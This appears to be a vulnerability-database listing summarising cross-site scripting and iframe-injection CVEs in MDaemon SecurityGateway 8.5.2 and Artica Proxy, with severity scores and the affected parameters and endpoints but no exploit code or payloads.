EPSS 0% CVSS 5.4
MEDIUM POC This Month

MDaemon Technologies SecurityGateway for Email Servers 8.5.2 is vulnerable to Cross Site Scripting (XSS) via the currentRequest parameter. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Security Gateway For Email Servers Altn
NVD
EPSS 1% CVSS 5.4
MEDIUM POC This Month

MDaemon Technologies SecurityGateway for Email Servers 8.5.2 is vulnerable to Cross Site Scripting (XSS) via the Blacklist endpoint. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Security Gateway For Email Servers Altn
NVD
EPSS 0% CVSS 5.4
MEDIUM POC This Month

MDaemon Technologies SecurityGateway for Email Servers 8.5.2 is vulnerable to IFRAME Injectionvia the currentRequest parameter. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Security Gateway For Email Servers Altn
NVD
EPSS 1% CVSS 5.4
MEDIUM POC This Month

MDaemon Technologies SecurityGateway for Email Servers 8.5.2 is vulnerable to Cross Site Scripting (XSS) via the whitelist endpoint. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Security Gateway For Email Servers Altn
NVD
EPSS 1% CVSS 5.4
MEDIUM POC This Month

MDaemon Technologies SecurityGateway for Email Servers 8.5.2 is vulnerable to Cross Site Scripting (XSS) via the data_leak_list_ajax endpoint. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Security Gateway For Email Servers Altn
NVD
EPSS 1% CVSS 5.4
MEDIUM POC This Month

MDaemon Technologies SecurityGateway for Email Servers 8.5.2 is vulnerable to Cross Site Scripting (XSS) via the rulles_list_ajax endpoint. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Security Gateway For Email Servers Altn
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

An issue was discovered in Artica Proxy 4.30.000000. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Artica Proxy +1
NVD GitHub
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Quick Facts

Typical Severity
MEDIUM
Category
web
Total CVEs
40992

Related CWEs

MITRE ATT&CK

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